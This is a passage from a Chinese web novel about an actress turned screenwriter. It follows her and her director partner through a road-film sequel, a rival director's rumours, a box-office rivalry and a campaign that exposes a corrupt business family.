她、卢卓锦和白谈,在白谈家附近的小咖啡馆里要了处座位。 她拿出在火车上搞出来的大纲,“不知道您的要求,这是我粗略的想法,我想写祖孙三代人的一场旅行。” 卢卓锦是个身材消瘦的中年人,他面容憨厚气质朴实沉稳。 接过剧本看了眼,他憨厚的脸上突然激动起来,拍着桌子就喊:“就这个!就写这个!” 白谈压住亢奋的好友,“你别激动,这是在外头呢!” 卢卓锦双手颤抖,“咱们就拍这个!” “中年突然决定离异的 母亲、老年痴呆偶尔会清醒的外婆和高考失利自暴自弃的我,矛盾重重的祖孙三代,因为一场遥远的葬礼,被破挤在一间狭小的房车上,从东南到西北,这是一场心灵的旅行!” 母女关系的探讨,中年离异妇女的心理和处境,高中生青少年的心理成长…… 等等,等等问题集于一体,这个剧本可比所谓的《上路1》强太多了! 原本不抱什么希望的卢卓锦,立马开始催促温苒,“你赶紧写,或者咱们边写边拍,演员我马上去找,你有没有看好的,你说我给你找过来。” 温苒真有一个想推荐的,“我的同学,周可,不过您是导演,她行不行您来决定。” 周可长了张圆脸,显年轻,她唱歌还好,演技更不错。 卢卓锦记下了,“好,我会让助理通知她。” 演员的事温苒不担心,以卢卓锦的号召力,就是泰斗级别的演员都请得动。 见她们谈好,白谈开始轰人,“没事赶紧走,我也有工作呢,我和袁导计划下一部片子呢。” 卢卓锦一听立马紧张起来,“温苒是编剧,她要跟组的,我都没让她分心来演,你可不能和师兄翘我的墙角。” 女儿的角色,周可合适,温苒也合适啊,她自己写的角色还能有人比她更理解吗? 白谈嘴角抽搐,“我刚帮你搞定了麻烦,你转眼就翻脸不认人!” 卢卓锦的心虚只有一秒,下一秒梗着脖子说道:“一码归一码,反正你不能抢!” 白谈摆着手赶人,没好气道:“走走走!我和袁导拍的是任务电影,战争片,不抢你的人!” 卢卓锦这才满意。 温苒专心准备剧本,卢卓锦告诉她:“温苒,你们工作室要投资这部电影吗?刚才赵氏打来电话,有投资电影的意向。” 赵氏? 长京还能有哪个赵氏? 温苒挑了挑眉,八成又是赵成宇,他和文雪勾搭在一块,势必会捧文雪进娱乐圈。 但赵成宇估计是冲卢卓锦来的,还不知道她和霍骁北早就掺和进来了。 “我们投资,我们工作室目前资金还算充足,钱能省则省,但需要花费的地方我也不会吝啬。” 卢卓锦:“……” 他穷人,他听不得‘还算充足’这种形容词。 那是还算充足吗?那是太充足了好不好? 圈里谁还不知道《上路》投资不过几十万,票房分成却达到一亿五千万的?! 这么多钱,别说拍一个电影了,拍到《上路10》都妥妥无压力! 另一边,被卢卓锦拒绝后,赵成宇很不高兴。 不过是个导演,竟然端这么大的架子? “去联系冯飞。”赵成宇阴沉着脸。 回国后,他从家里得到一份创业资金,原本还在犹豫投资哪一行,直到《上路》上映。 霍骁北都能拍出来破纪录的电影,他赵成宇有比霍骁北更多的资本,大导演、大明星、大投资,都聚齐了,就不信还比不上一个小破电影? 冯飞接到赵家的橄榄枝,自然喜不自胜。 自从那年因为温苒得罪韩家少爷后,冯飞在制片厂就遭了冷落。 后来私募电影合法,冯飞出来单干,好不容易拍了一部电影,结果撞上了破票房纪录的《上路》,他的电影被撞的体无完肤。 私人投资的电影和制片厂不一样,前着就是奔着赚钱奔着票房去的,冯飞拍的电影票房扑街,他再去找投资就没人理他。 所以赵家的邀请,冯飞想都没想就答应下来。 公路题材?没问题! 霍骁北一个初出茅庐的导演都能拍,都能破纪录,他冯飞当然更可以了! 喜剧?可以! 喜剧最没有深度,他冯飞连文艺片都能拍好都能拿奖,区区喜剧而已! 赵成宇的成宇影视公司和冯飞合作拍摄《一路顺风》,剧本暂无,演员未定,但资金充足。 冯飞开始了轰轰烈烈的选角进程。 恰在此时,圈里传言卢卓锦和温苒合作,正在拍摄《上路2》。 冯飞冷笑,温苒,他可不会忘记这个名字。 就因为这个女人,他在制片厂整整坐了三年的冷板凳! 什么编剧温苒? 《上路》的剧本是不是她写的都不一定呢! 卢卓锦也是眼瞎,什么剧本都看得上? 冯飞在心里一通贬低,痛快了,又想:上次是个意外,这次同题材对打,我不仅要破票房纪录!我还要冲奖! 赵成宇听说后,回家要了笔钱,转手给《一路顺风》追加投资。 他也希望可以看到,把霍骁北和温苒踩在脚下的那一幕! 第73章 第73章千禧年影后16 圈子里向来没有秘密。 冯飞又不是低调的性格,加上他电影刚扑街招了不少笑,巴不得把赵氏追加投资的事情舞到人尽皆知,好一雪前耻。 冯飞不只舞这个,他还在聚会酒桌上主动提起卢卓锦和温苒。 “老卢啊,也就拍拍女人那点事,女人嘛,过得好的争风吃醋,过不好的自怨自艾,也不知道有什么好拍的?” “不过我也理解,出身决定眼界,老卢是个农村人,他拍不了城里人的戏!” “还有那个温苒,放着好好的电影不拍,学别人当编剧去了?编剧是那么好当的吗?” 有人听了,忍不住反驳:“你还别说,她第一次做编剧的电影就破了纪录,不比她当演员来得差。” 冯飞嗤笑:“你们还真当那是她写的剧本的啊?” 旁人疑惑:“什么意思?不是她写的?” 冯飞摇着头笑:“她男朋友就是电影的导演,男人嘛,叫漂亮女人哄一哄,区区一个剧本署名而已,给了就给了。” 这话一出,真有不少人信以为真,跟着附和。 “我早就觉着离谱,她温苒演戏演得好咱们都认,但她能写剧本,真是,谁信谁傻!” “你们还别说,《上路》也不一定是她男朋友写的。前阵子白谈到处宣传,说温苒是他徒弟,保不齐就是白谈色迷心窍了,捧他这相好呢?!” 短短时间,这些男人先是给霍骁北打上色令智昏的标签,又给白谈和温苒编造出莫须有的桃色关系。 总之,剧本是好剧本,电影是破了纪录的电影,他们没办法否认事实,但电影的导演和编剧问题就大了。 破纪录的电影导演竟然是个刚毕业的毛头小子? 破纪录的电影编剧竟然是个跨行的演员? 破纪录的电影主角竟然是个刚毕业的学生和一个农民工? 导演、编剧、演员,这部电影从头到尾毫无噱头,就是个草台班子,投资还只有区区几十万,然而却把他们这些知名导演、知名编剧、知名演员拍的电影给踩在了脚下? 这怎么不让人愤怒? 这怎么不让人嫉妒? 他们简直、简直恨啊! 他们拍不出来《上路》这样的破纪录电影,但他们绝不会承认是自己无能!他们也绝不会承认自己会输给一个草台班子! 一群人开始揪着霍骁北和温苒贬低。 这个说是题材取巧罢了。 那个说,白谈白大编剧的剧本能不好吗? 也有明白人,“温苒年纪轻轻就已经是华国演员的领头羊,在国际上也有许多大导演邀请她演戏,她拿别人的剧本当自己的,图什么呢?” 冯飞不以为意,“图什么?图名声呗?演员么,说白了就是戏子!她以为跨行写几个剧本,就能让人夸她是才女了,往后说出去也是文化人哈哈哈——” 说到后面,嘲笑之意溢出来。 冯飞的话很快在圈子里传得沸沸扬扬。 温苒是最先从卢卓锦那里知道的,他面带嘲讽:“无能之人的自我安慰罢了,你安心写剧本,不要被这些话影响。我的眼界再怎么低,也不可能比他冯大导演还低,什么是好剧本我看得出来。不管别人怎么说,咱们电影人最后都得拿电影质量来说话。” 这之后不久,温苒接到了杜凌的电话。 杜凌最近四处求爷爷告奶奶,偏偏成果寥寥,早就憋了一肚子火。 听到冯飞传的谣言,他恨不得连夜去给那胖子套麻袋。 电话里他骂骂咧咧:“范宜然和海阳拍过冯飞的电影,以后这经历都得成为黑历史!” “太气人了!我好不容易要说服高华胜和李爱国了,结果那孙子造谣剧本不是你写的,这俩老叔现在又变主意了!” 温苒本来还无所谓的,听到这里忍不了了。 “你把高华胜他们的电话给我一份,我跟他们聊聊。” 剧本是不是她写的,一聊便知, 没人比她这个作者本人更了解剧本。 杜凌连夜堵到高华胜家里,第二天等高华胜出门,利索抱上大腿,说什么也要他和温苒聊剧本。 高华胜:“……” 高华胜没办法,于是接过了电话。 《中兴》是个长篇权谋剧,权谋这个题材本身就代表着深度,一般人写不了,没有阅历没有历史文化素养的写不好。 《中兴》剧本高华胜只看过前六集,以他数十年从业的眼光来看,这个剧本风格之前从没见过,大概不是圈子里的编剧,可能是新手,也可能是作家转行。 但怎么说,都不大可能是个刚毕业的演员,哪怕这个演员是拿过国际电影节大满贯的演员。 然而和温苒聊过后,高华胜只觉得人不可貌相。 高华胜一改冷漠,语气变得热络起来,“小温啊,剧本是你写的,我信了。” 就看温苒这问什么都能对答如流,还给他引经据典的架势,就知道她做过多少功课。 温苒对这段历史的了解不必多说,改编成剧本时的一些想法她也没有藏着掖着。 历史角度上,剧情尊重史时; 编剧角度上,合并角色、加重冲突、艺术加工…… 高华胜的疑问温苒都能解答,这可是大几十集的电视剧剧本,不是作者本人不可能了解到这个程度。 高华胜算是温苒的老前辈,见才欣喜,主动道:“小温啊,外头人传的闲话你不要放在心上,有机会我指定要跟他们说道说道。” “你也不要因为这些话就放弃编剧这一行,咱们这圈子啊归根结底还是靠编剧,没有好编剧别管什么电影话剧电视剧,都拍不出来!” 温苒笑了笑,语气轻松:“您放心,我不会放在心上,也不会放弃写剧本。该担心的是他冯飞,他能扑一部电影,就能一直扑。” “我能火一部,我就能一直火。” 高华胜听了咂舌,这孩子真是…… 不过他没再多说什么,只是爽朗地笑出声来,年轻人嘛,年轻气盛才正常。 有了高华胜的加入,演员邀约就变得轻而易举。 好些演员听说高华胜跟温苒通过电话,也纷纷打过来找温苒聊剧本,是不是温苒写的,一聊便知。 演员到位,拍摄前出了点问题。 高华胜给温苒打电话:“小温啊,咱们这个剧本是好剧本,不能给它瞎嚯嚯了,这样,我给你推荐几个导演,袁导的同学……” 他一连说了几个,都是电视剧收视率的保证。 跟这些人一比,只拍过一部电影的霍骁北,瞬间就没了竞争力。 对此,温苒也只能用‘先试试’几个字敷衍。 高华胜他们不信任霍骁北,这在意料之中。 首先,霍骁北才刚毕业,刚毕业的导演系学生都在剧组搬器材呢,从小工一步步走到导演的位置,真没见哪个上来就敢拍东西的。 电影就算了,电影和电视剧的拍摄有着本质的区别。 电影更看重导演风格,电视剧更看重剧本风格。 电影,一台摄影机两个演员就能拍出来,譬如《上路》。 电视剧则不同,电视剧拍摄需要一群演员,新手导演很大的一个难题就是如何压住这群演员。 更不要说《中兴》剧组,这帮演员拿出去,个顶个都不简单。 他们不信任,也不服气霍骁北。 温苒正想办法呢,霍骁北跟她说:“请了康老师的同学拍《中兴》。” 温苒:“?!” 霍骁北剥了瓣橘子喂她,“我正好空下来,陪你去拍《上路2》。” 这个年代公路附近不怎么安全,《上路2》的拍摄路线长而广,放温苒自己去,霍骁北实在不放心。 温苒点了点头,“那好吧。” 她知道,拍不拍的对霍骁北来说没那么重要,反正她们有钱,想拍总会有机会。 杜凌却不干,“凭什么啊?这可是咱们工作室投资的电视剧!” 他看着霍骁北,神色认真:“北哥,你不能认输,你得拍!你得向他们证明你可以!” 霍骁北的目光从电脑屏幕上挪开一瞬,瞥了他一眼,“不需要。” 他早就过了那个年纪,就算他的第一世,也从来没有执着于过向别人证明自己。 杜凌:“……” 杜凌看了看霍骁北,又看了看温苒,木着脸道:“你说实话吧,你是不是就只是单纯不想和小苒分开,才把电视剧给别人拍的?!” 如果是真的,这简直、简直太过分了! 虽然事实如此,但温苒是不会承认的。 她大声道:“当然不是!霍骁北要拍一部纪录片!” 杜凌狐疑,“纪录片?什么题材?” 霍骁北:“丝绸之路。” 《上路2》从苏江省出发,先一路北上,再由东往西,和丝绸之路有很大一部分重合。 杜凌嘴角抽搐,但他怎么感觉纪录片不是重点呢? “咱们还真能精打细算,一部电影的投资掰成两半,拍电影的同时捎带手拍部纪录片,呵呵!” 电视剧剧组就绪,开拍后,高华胜一群人没见着霍骁北,揪着杜凌问:“小霍呢?他怎么不来?” 这个年轻人他们也是都聊过的,学识谈吐气质那是相当不一般,怪不得能拍出《上路》那样的电影来。 见了优秀的年轻人,高华胜这群老兄弟难免惜才,都琢磨着到时候开拍,让霍骁北也试着掌掌镜。 结果,人呢? 杜凌表情幽怨,“咱们这边都有导演了,他去陪媳妇儿去了。” 高华胜瞪眼,“那他就不能有点上进心,好好跟导演屁股后头学习吗?” 杜凌甩甩宽大的袖子,两手抄在一起,“他学啥学啊?叔,您几个到底看没看过《上路》?” 高华胜梗着脖子支支吾吾,“看、听、没看过,听说过。” 杜凌:“……” 杜凌指着监视器后头,“我北哥分镜都画十几集了,都在导演手上,不信你们自己去看。” 高华胜等人面面相觑,不是,头一次听说给电视剧画分镜的? 杜凌道:“没办法嘛,我们就是个小工作室,画分镜可以省点成本。” 众人把导演围起来,夺走分镜开始传阅。 你别说,这画得真不赖,人物形象和剧情张力跃然纸上。 李爱国先道:“这孩子真是,有点东西。” 杜凌从他身后冒出来,幽幽说道:“他们两口子都挺有东西的。” 众人:“……” 高华胜拿手点他,笑骂道:“你小子也挺有东西!” 他们这帮人哪个没被杜凌围追堵截过? 电视剧拍摄得很顺利 。 《上路2》也准备出发。 演员确定了周可、方兰茹和夏秋枫,年龄分别是二十多岁、三十多岁和五十多岁。 方兰茹和故事里的母亲经历相似,她大学就和学长结了婚,婚后生了两个女儿,因为生不出儿子被婆婆讨厌,丈夫也出了轨。 就在这部电影找上她之前,方兰茹刚和丈夫离婚。 剧组班底是卢导用的老人,人不算多,但个个都能一个人掰成仨人用,堪称全能。 刚好《上路2》题材所致,需要整个剧组跟随拍摄,人太多也不好管理。 随行车辆有房车、卡车和多座轿车,卡车上存放道具和食水,房车用来住宿。 历经五个月,从东南到西北,《上路2》拍摄完成,《丝绸之路》和《长安味》两部纪录片取材加剪辑也全部完成。 《上路2》和《上路1》风格不同。 《上路1》的每一幕都很搞笑,从头到尾杨宝男和马成功都处在麻烦中,这俩人只要遭难出丑,观众就开心到捧腹大笑。 《上路2》的也好笑,但却偏向幽默,是一种淡淡的感觉。 影片开始,高考后的女儿同学聚餐,被帅气的男同学送回家,羞涩的告别后,一转头瞥见阴暗角落里的母亲。 女儿慌张解释,母亲却幽幽道:“你恋爱你就恋嘛,妈也不是没恋过,妈就是离了,你不用为了照顾妈的心情就遮遮掩掩的,妈会以为你是在炫耀。” 其实只是害羞外加害怕被训斥早恋的女儿:“……” 下一幕,女儿高考分数出炉,没过线,而暗恋对象却成了市状元。 刚才还说不介意的母亲大变脸,情绪激动地数落女儿。 女儿崩溃,去养老院找外婆求安慰。 外婆陷入老年三角恋中,为报复渣男,和孙女打掉老爷子两颗门牙。 祖孙俩闯了祸,母亲急急过来救火,掏钱赔礼认错。 最后,母亲被养老院告知,外婆患上老年痴呆,要被退货。 三人收拾东西回家,却在这时接到了来自大西北的一通电话。 外婆的同胞大哥过世,他无亲无故,所以通知外婆过去帮他办葬礼。 因为这场葬礼,三人踏上了行程。 行程中有哭有笑,有紧张有愉悦,却处处都透露着自由的味道。 仿佛离开了家庭,她们不在为别人而活,她们享受这趟突然其来的旅程。 电影定档在国庆节。 《上路2》刚有消息,赵氏投资的《一路顺风》也随之定在同一天上映。 回到长京后,温苒听到打听来的消息。 《一路顺风》投资五百万,请了港星大咖加盟,编剧也是请的港城无厘头喜剧编剧。 私募电影合法与香江电影北上几乎是同一年,香江电影电视剧体系比内地发展更成熟,更加流水线。 据说《一路顺风》拍了两个月就结束了,赶五一档绰绰有余,非要一拖再拖,才拖到下半年和《上路2》撞期。 冯飞打得什么主意明眼人都清楚,不就是想踩着《上路2》上位? 赵氏和冯飞打配合,在这个电视和报纸为主要传播手段的时代,开始了大肆营销。 今天这个报纸说,《一路顺风》绝对力压《上路2》拿下国庆档票房冠军! 明天冯飞上电视访谈,表明《一路顺风》不仅会票房可观,奖项也不在话下! 这个时代的老百姓还是很淳朴的,一听这么说,都对《一路顺风》产生了好奇心。 温苒也很好奇,《一路顺风》到底是什么惊天动地的好片子啊? 国庆上映,温苒和霍骁北买票去看,结果一言难尽…… 搞笑不搞笑,幽默不幽默,强行煽情,男主角恶心油腻,低俗荤段子张口来。 这也就罢了,还无聊! 无论电影电视剧,最可怕的评价是什么? 绝不是狗血低俗,而是无聊! 《上路1》全程无尿点,《一路顺风》全程不想出厕所。 这种质量,冯飞怎么敢说脚踩《上路2》拳打颁奖礼的? 首日票房估算出炉。 《上路2》有《上路1》珠玉在前,首日票房八百万。 《一路顺风》首日票房九十七万…… 杜凌嘲笑的声音,能从戏剧学院小区传到电影院。 “我的天!我的天!九十七万!” 杜凌笑癫了,一个个给通讯录的号码打过去,跟每个接通的人都要嘲笑一番。 温苒听得耳朵疼。 有杜凌还不算,白谈也来了电话,电话里放声大笑,“哈哈哈!他之前还编排我瞎话呢,现在报应来了吧?” 《上路2》票房不如《上路1》出彩,但也接近两亿。 《上路1》是纯喜剧,氛围轻快,重在搞笑,其次才是深度,华国老百姓就吃这口。 《上路2》是女性题材,基本盘就小,要不是蹭《上路》IP,能有几个千百万就顶天了。 但《上路2》是可以拿奖的片子,如果能拿奖,以后凌云工作室也就有了奖项傍身。 和《上路2》同期上映的《一路顺风》,最终票房不过三百万。 这三百万中,还有不少是偷的《上路2》的票房。 《上路2》现在有多少人夸,《一路顺风》就有多少人骂。 墙倒众人推,冯飞这半年多来可谓得意至极,仗着赵家的势得罪了不少人,他一落难,四面八方都来落井下石。 这其中当然不会缺少温苒和霍骁北。 【冯飞票房毒药】这个称呼,自两人始,响遍圈子。 与此同时,电影下映后,凌云工作室将赵氏旗下的影视公司以偷取票房的名义告上法庭。 各大报纸和电视台新闻纷纷报道,低调的赵氏第一次因负面新闻走进老百姓的视野中。 赵成宇因此被他生父狠狠教训了一顿。 这之后不久,凌云工作室就来了一波人调查税务问题。 温苒就知道,不可能有别人,指定是赵成宇。 杜凌跳脚骂人,霍骁北则找人把赵成宇告上了法庭。 【惊!赵氏太子爷顶替高考名额!】 【惊!赵氏税务有重大问题!】 【惊!赵氏旗下影视公司洗钱手段大揭秘!】 高考、税务还有洗钱,这可比之前的新闻劲爆多了。 赵氏究竟什么来头,到底做了多少违法犯罪的事情,瞬间就吸引了全国老百姓的注意力。 开天辟地头一遭,为此长京市政府成立调查组,专门调查新闻所述之事。 赵氏为了洗清罪名,推人顶罪,还安排赵成宇联姻,一场风波似乎悄无声息落下。 但温苒知道,对方不会就这么算了,只待这阵风头过去,就会出手对付她们。 那还不赶紧跑? 凌云工作室收拾收拾,跑去了沪海安家。 沪海可不是长京,赵氏手再长,也伸不到沪海来。 但温苒和霍骁北可还握着对付赵氏的证据。 《中兴》年底上映,首播破收视率纪录,二轮播放收视率依旧可观。 霍骁北的两部纪录片也找好了配音,同一时间段在总台播出,总台对纪录片还是很欢迎的。 凌云工作室接下来暂无计划,温苒和霍骁北腾出手,全力搜集赵氏违法的证据。 “文雪怀孕了?” 温苒看到其中一份文件,是某医院的检查单子。 温苒摸着下巴,“赵成宇投资的电影里文雪出演了吗?” 杜凌举手,“有,一个女配角。” 温苒摇头,“不记得了,我可能没看到那里。” 说来现在剧情变化天翻地覆,原本赵成宇也没有联姻这回事啊,文雪进赵家唯一的阻碍就是赵成宇的继母,等她生下两个孩子就都解决了。 现在,有赵成宇的联姻妻子在,也不知道文雪还能不能和赵成宇修成正果? 第74章 第74章千禧年影后17 新旧交接之际,各大颁奖典礼陆续举办。 《惊梦》之前拿了三个奖,还差最后一个。 温苒和《上路2》剧组一起去现场,见到百里宣桂,对方调侃:“自己打自己啊这可是!” 卢卓锦和百里宣桂也是老朋友了,听见这话笑着说道:“那不管谁赢了,都是她赢啊!” 除开和《惊梦》对打的这场,《上路2》在另外三场颁奖典礼上优势还是很大的。 卢卓锦过往拍摄的女性题材电影,背景多是旧社会和农村,总是不可避免涉及其他因素。 而《上路2》则是第一次,将女性作为独立个体,从有男性的家庭中剥离出来,展现老中少三代女性的心理和成长。 不仅在华国,细数全球影史这都可以说是第一部。 《上路1》是大学生和农民工两个群体从隔阂偏见 到互相了解,《上路2》则是讲述了三代女性的处境和心理,横向对比,纵向成长。 《上路2》票房不如1可观,但在观众和圈内人的心里,两部电影的评分恐怕要掉个个。 电影上映后,白谈的很多好友都找他打电话。 “你可写不出来这本子,你写点旧的还行,写不了这么新的。” “这剧本是真好啊,有新意,不落俗套。” 反正温苒听了很高兴。 颁奖结束,百里宣桂邀请温苒拍他的新电影:“我一朋友写了个本子,拐卖题材,找了挺多演员都不合适。” 简单来说,不够漂亮,也没漂亮到点子上。 演员最重要的当然是演技,其次才是形象,话虽如此,但圈里还有青衣花旦电影脸之说,可见形象也很重要。 但话又说回来,其实太漂亮的演员一般只能演配角,电影更看重的是眼神和气质。 所以像温苒这样,演技、气质与外貌并重的演员,很难再找到第二个。 约好过些日子看剧本,温苒和霍骁北回到车上。 霍骁北说道:“我陪你去。” 温苒缓缓转头,“又要拍纪录片啊?” 霍骁北:“……” 霍骁北:“去当女主演的保镖。” 温苒靠过去,“传出去,别人会不会说你不务正业?” 一个导演不琢磨着拍戏,天天陪女朋友进组,经纪人都没这么殷勤。 霍骁北替她拢了拢披肩,抬手刮了刮她的鼻梁,“已经有这个说法了。” 班任康佑生和师公李一帆早就在催他,别管电影电视剧,她们小两口那么多本子,赶紧拍一个出来。 温苒是戏剧学院几十年来最优秀的演员,霍骁北也是导演系这么多年最好的苗子了,首部作品就破纪录,再接再厉拍下去拿奖指日可待。 可惜霍骁北一门心思扑在温苒身上,电影完了就鼓捣出来两部纪录片,虽说拍得确实不错,但圈里还是更看重电影奖项。 隔日看完剧本,温苒决定接下来。 她终究是个演员,原主的心愿也是站在台前,而不是在幕后。 霍骁北又要跟温苒进组了。 正在剧组的杜凌打电话过来,愤怒地咆哮:“你们俩又要抛下我了是吗?!” 一旁经纪人:“……” 人小两口的事,你个老光棍掺和什么? 杜凌不管,杜凌就是想要个准话:“咱们到底什么时候拍那个科幻片?” 说好三剑客的,结果她们过二人世界去了? 出尔反尔!言而无信!俩大骗子! 手机放在远处摁了免提,温苒大声回道:“再等等吧,拍完这个,霍骁北打算拍一部电视剧。” 好说歹说,杜凌才消停下来。 进组准备前,温苒和赵成宇的联姻妻子约了见面。 世界真小,温苒走进包厢,看到了‘冯飞助理’。 温苒:“……” 对方抬眸,“关门,进来坐。” 温苒站在门口,“我找秦女士。” 对方回道:“她去了厕所。” 温苒想了想,关上门,坐到桌子旁边,和沙发上的人离得远远的。 闲着无聊,她随手翻看报纸杂志。 身后响起话声:“听说你要拍百导的电影?” 温苒:“……嗯。” 百里宣桂虽然姓百里,但百里导演叫起来太长,百里导叫起来别扭,干脆就给他姓氏省略了,一律喊他百导。 “丰泓刚刚成立影视公司,资金充足,想邀请霍导和温编,为公司打造一个精品电影系列。” 温苒记仇,不想跟这人合作。 而且他多大脸,上来就要精品还要系列?有这么好的东西,为什么不自己留着? 但也不能把这人得罪了,她们和赵氏结了死仇,再得罪韩家不是明智之举。 “凌云工作室暂时没有电影方面的计划。” 温苒拿出托辞。 身后的人静了静,把话题转移到韩丰身上,韩丰是霍骁北的舍友。 “听说他同学要和你一起进组,韩丰一直在家里念叨他同学,还时常提起他们一起在剧组学习的经历,不知道百导的剧组还缺不缺人?” 温苒回答:“我不清楚,可以问一问。” “好,你帮我问,再给我答复。” 话音落下,一支手机伸过来。 温苒:“……” 温苒缓缓抬头,“我的意思是,你自己问。” 对方默了默,收回手机,忽然笑了:“之前的事,我向你道歉。关于合作,我希望你能认真考虑考虑。” 温苒敷衍地点了点头,拒绝再交谈。 过了片刻,约好的秦女士才姗姗来迟。 温苒看了眼手表,她迟到了将近半小时。 秦女士再三抱歉,温苒也不好说什么,何况这次是来谈合作的,把气氛弄僵了可不行。 谈判前,秦女士要求韩丰小叔过来参与,“这是我表舅,你有什么尽管说,不用瞒着他。” 温苒:“……” 这何止是不用瞒啊,依她看,秦女士的态度更像是撂挑子一股脑儿甩给韩丰小叔拿主意。 既然如此,温苒懒得迂回,开门见山:“赵成宇的初恋怀了他的孩子。” 秦女士一脸懵逼,“那我要不要让赵成宇把那孩子打了?” 韩丰小叔摇头,“等孩子生下来你抱走,赵氏我帮你弄到手。” 聪明人说话就是简单。 赵成宇罪行累累,赵成宇的父亲也不遑多让,这俩人但凡进去或者退了,就只能把公司交给赵成宇的孩子。 孩子还小需要监护人,赵成宇的妻子秦女士自然当仁不让。 说完了,温苒就要离开,秦女士留她吃饭,“你的电影我都看过,可喜欢了,我连碟片都买了几大箱,我们留个电话,以后一起吃饭啊?” 留下吃饭就不必了,不过温苒和对方交换了电话。 离开饭店,温苒走出大门时,手机响了。 她拿出来一看,陌生号码,接起来一听:“合作的事你嘟——” 电话中断。 楼上包厢:“……” 把手机塞回包里,温苒继续往外走。 正事都谈完了,谁还怕你? 百导的新电影开拍,温苒在剧组里见到了韩丰。 韩丰笑嘻嘻过来,“哟,霍大导,温大影后,还记不记得小老弟?” 百导让他滚一边儿去,跟温苒俩人解释:“他小叔的公司投资了咱们电影,他过来学习学习。” 霍骁北听见这话,脸瞬间黑成了锅底。 温苒也一肚子火,呵,韩丰小叔的公司投资的。 韩丰后知后觉想起了当年的事,连忙往百导身后缩。 《迷山》拍摄地点主要在南方一处深山中的山村。 拍摄期间,剧组与世隔绝。 大山外,赵氏开始了剧变。 先是赵氏董事长因违法犯罪被带走调查,紧接着赵大少赵成宇的旧案被翻出来。 赵成宇的继母见势不对,趁机提出离婚分割财产。 文雪秘密产子,刚醒过来就听见电视新闻播报:“赵家父子双双落狱,赵氏主人变更……” 眼睛一翻,文雪晕死过去。 过来照顾她的董秀英第一时间都没顾上,她正沉浸在荣华富贵一场空的巨大绝望中。 电影拍完离开大山,温苒又接到了个陌生来电。 她接通,交给了霍骁北。 霍骁北沉着脸听完,只说了三个字:“不需要。” 温苒好奇地凑过去,“他说了什么?” 霍骁北顿住,视线直勾勾盯着她。 温苒:“……” 温苒鼓腮,“你那是什么眼神?” 好像她是个负心妇一样? 霍骁北丢掉电话,把她打横抱起来,走进卧室丢到床上。 温苒就地一滚,裹紧被子,“现在可是白天,而且明天还要坐车呢。” 霍骁北转身在床尾坐下,慢条斯理解衬衫扣子,语气阴沉:“他说,谢谢你提供的证据。” 本来计划中还需要赵成宇的孩子,但有了她们提供的资料,直接就把赵家父子搞得麻烦缠身。 秦小姐还年轻,并没有白给别人养孩子的癖好,因此很感谢温苒,想请她吃饭。 正好当时她和韩丰小叔在一起,于是感谢和邀请一起转达。 然后霍骁北就完全误会了。 温苒逃过一劫,但又没全逃过,回到长京就被迫开始了漫长的夜夜笙歌。 2005年的十一月份,《迷山》悄然上映。 这部片子是韩氏旗下影视公司用来冲奖的,只要能拿奖,票房亏了多少不要紧。 但他们还是小看了温苒的票房号召力。 距离《惊梦》已经过去快三年,温苒从影以来的第三部电影,《迷山》一经上映票房就以爆炸的势头疯涨。 有记者随 机采访,《迷山》的观影人群从青少年到退休老年人应有尽有。 一对年轻父母接受采访时,红着眼圈不停抹泪,“我们一家带孩子来的,本来想挑一部喜剧,结果孩子看到海报就非要这个,说姐姐看着好可怜要救姐姐,孩子想看就看呗,结果没想到……” 话没说完,一家三口头碰头开始库库一顿哭。 记者无奈,只能把镜头对准老年人,“阿姨,您为啥看这部电影啊?” “还能为啥?我是这姑娘的影迷!看电影,认准温苒准没错!” 嚯!您还挺会打广告? 采访下一个,夺过话筒对着镜头一顿骂:“天杀的人贩子!别让我遇到不然我打得它满地找牙!” 之后是年轻的学生,学生恍恍惚惚:“阿姨,我以后放学肯定不一个人到处乱跑,不接陌生人的水不给陌生人带路……” 电影放映期间,民间议论纷纷,总台趁势推出普法和防拐教育栏目,票房因此再次爆发。 “看看!被拐卖就是电影里书静的下场!” “咱们居委会近期的普法和防拐栏目宣传,大家都别忘了看一看,防拐制拐!坚决不给人贩子生存空间!” 一部题材沉重的电影,最终票房愣是冲上了一亿三千万。 据说后续,这部电影还免费卖给了各大电视台。 年末,温苒又成了颁奖典礼的常客。 她一共拍了三部电影,每部电影都横扫国内大奖。 别人是苦苦求索,能拿一个奖就谢天谢地,而她每部电影都能轻松大满贯。 关键她拍的电影,不仅各大奖项业内人士买账,电影观众也很买账。 艺术片不卖座,题材沉重不卖座,在她这里统统都不管用。 转过年,温苒回了趟长京,参加同学聚会。 许虹悄悄拉着她到角落里,“你们工作室最近有没有电影电视剧要拍?” 温苒看她,“你想拍吗?” 许虹重重点头,“当然想!” 凌云工作室虽然是个小作坊,但出一部电视剧火一部,拍一部电影赚一部,圈里哪个演员不想拍啊? “但我先给你推荐个别人,范宜然。”许虹说道。 温苒疑惑:“她今天没来,应该是在剧组吧,她缺戏拍吗?” 许虹跟她解释:“嗨,你不知道,范宜然毕业后都没拍过戏,她最近才进了一个武侠剧组,演的还是小配角。” 温苒大吃一惊,“怎么可能?” 范宜然的演技不用说,何况她出道的第一部作品还是冯飞的电影。 虽然冯飞现在是圈内人尽皆知的票房毒药,但当时他刚拿过奖,正如日中天,他的电影一般人能演吗? 许虹叹气,“范宜然跟她男朋友分手了。” 温苒反问:“然后她男朋友报复她,不让她演电影?” 许虹摇头,“那倒不是,其实两人应该是和平分手。你也知道,那个圈子里的人找女朋友,随叫随到是本分。但范宜然拍戏一进组就是半年一年的,人家不同意,范宜然又不肯放弃拍戏,然后就一拍两散了。” 范宜然这都毕业三年多了,除了一部冯飞的电影再没别的作品,她现在想拍戏,就只能一个剧组一个剧组地去面试。 温苒想了想,“我回去翻一翻剧本。” 工作室最近没有拍电影的计划。 《上路》1、2反响都不错,但也正因此,这个IP要么不拍,要拍就必须保证质量,不然就是自砸招牌。 新的电影计划交给了霍骁北,他正在准备,如果要拍是奔着拿奖去的,待选题材是悬疑和犯罪,已经被杜凌大嘴巴透露给了那帮老叔,所以主要角色都是男性。 同学聚会后,温苒回家翻了翻文件夹。 宫斗剧其实不错,刑侦剧正好有一个,谍战剧她没写过,职业剧也可以,或者年代剧更合适冲奖…… 温苒纠结着,最后选了一部年代题材的剧本。 她打电话给班任,打算把剧本交给师公来拍。 没多久,班任就打来电话,“你师公同意拍,我还约了宜然来家里吃饭,顺便试镜。” 解决了这件事,温苒闲下来开始看书。 她不急着接下一部电影,手上的剧本有合适的机会就拍出来,没有就那么放着。 时间的车轮缓缓向前轧过,数十年间,互联网飞速发展崛起。 